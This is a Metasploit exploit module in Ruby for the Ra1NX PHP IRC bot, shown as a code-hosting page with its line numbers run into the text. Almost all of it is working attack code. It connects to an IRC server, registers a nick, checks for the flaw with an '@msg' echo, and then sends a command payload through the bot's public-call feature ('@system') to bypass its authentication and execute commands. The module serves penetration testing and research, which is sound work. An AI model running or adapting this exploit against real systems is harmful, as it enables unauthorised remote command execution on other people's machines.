Path: blob/master/modules/exploits/multi/misc/ra1nx_pubcall_exec.rb
19848 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Ra1NX PHP Bot PubCall Authentication Bypass Remote Code Execution',15'Description' => %q{16This module allows remote command execution on the PHP IRC bot Ra1NX by17using the public call feature in private message to covertly bypass the18authentication system.19},20'Author' => [21'bwall <bwall[at]openbwall.com>' # Ra1NX analysis and Metasploit module22],23'License' => MSF_LICENSE,24'References' => [25['OSVDB', '91663'],26['URL', 'https://defense.ballastsecurity.net/wiki/index.php/Ra1NX_bot'],27['URL', 'https://defense.ballastsecurity.net/decoding/index.php?hash=69401ac90262f3855c23cd143d7d2ae0'],28['URL', 'http://ddecode.com/phpdecoder/?results=8c6ba611ea2a504da928c6e176a6537b']29],30'Platform' => %w{unix win},31'Arch' => ARCH_CMD,32'Payload' => {33'Space' => 344,34'BadChars' => '',35'DisableNops' => true,36'Compat' =>37{38'PayloadType' => 'cmd'39}40},41'Targets' => [42['Ra1NX / Unix', { 'Platform' => 'unix' } ],43['Ra1NX / Windows', { 'Platform' => 'win' } ]44],45'Privileged' => false,46'DisclosureDate' => '2013-03-24',47'DefaultTarget' => 0,48'Notes' => {49'Reliability' => UNKNOWN_RELIABILITY,50'Stability' => UNKNOWN_STABILITY,51'SideEffects' => UNKNOWN_SIDE_EFFECTS52}53)54)5556register_options(57[58Opt::RPORT(6667),59OptString.new('IRC_PASSWORD', [false, 'IRC Connection Password', '']),60OptString.new('NICK', [true, 'IRC Nickname', 'msf_user']),61OptString.new('RNICK', [true, 'Nickname of Target IRC Bot', 'jhl1']),62OptString.new('PHP_EXEC', [true, 'Function used to call payload', 'system'])63]64)65end6667def post_auth?68true69end7071def connect_irc72print_status("#{rhost}:#{rport} - Connecting to IRC server...")73connect7475data = ""76begin77read_data = sock.get_once(-1, 1)78while not read_data.nil?79data << read_data80read_data = sock.get_once(-1, 1)81end82rescue EOFError83end8485if data and data =~ /020.*wait/86print_good("#{rhost}:#{rport} - Connection successful, giving 3 seconds to IRC server to process our connection...")87select(nil, nil, nil, 3)88end89end9091def check92connect_irc9394response = register(sock)95if response =~ /463/ or response =~ /464/96vprint_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")97return Exploit::CheckCode::Unknown98end99100confirm_string = rand_text_alpha(8)101response = send_msg(sock, "PRIVMSG #{datastore['RNICK']} :#{datastore['RNICK']} @msg #{datastore['NICK']} #{confirm_string}\r\n")102103quit(sock)104disconnect105106if response =~ /#{confirm_string}/107return Exploit::CheckCode::Vulnerable108else109return Exploit::CheckCode::Safe110end111end112113def send_msg(sock, data)114sock.put(data)115data = ""116begin117read_data = sock.get_once(-1, 1)118while not read_data.nil?119data << read_data120read_data = sock.get_once(-1, 1)121end122rescue EOFError123end124data125end126127def register(sock)128msg = ""129130if datastore['IRC_PASSWORD'] and not datastore['IRC_PASSWORD'].empty?131msg << "PASS #{datastore['IRC_PASSWORD']}\r\n"132end133134if datastore['NICK'].length > 9135nick = rand_text_alpha(9)136print_error("The nick is longer than 9 characters, using #{nick}")137else138nick = datastore['NICK']139end140141msg << "NICK #{nick}\r\n"142msg << "USER #{nick} #{Rex::Socket.source_address(rhost)} #{rhost} :#{nick}\r\n"143144response = send_msg(sock, msg)145return response146end147148def ra1nx_command(sock)149encoded = payload.encoded150command_msg = "PRIVMSG #{datastore['RNICK']} :#{datastore['RNICK']} @#{datastore['PHP_EXEC']} #{encoded}\r\n"151response = send_msg(sock, command_msg)152return response153end154155def quit(sock)156quit_msg = "QUIT :bye bye\r\n"157sock.put(quit_msg)158end159160def exploit161connect_irc162163print_status("#{rhost}:#{rport} - Registering with the IRC Server...")164response = register(sock)165if response =~ /463/ or response =~ /464/166print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")167return168end169170print_status("#{rhost}:#{rport} - Exploiting the Ra1NX bot...")171ra1nx_command(sock)172173quit(sock)174disconnect175end176end177178179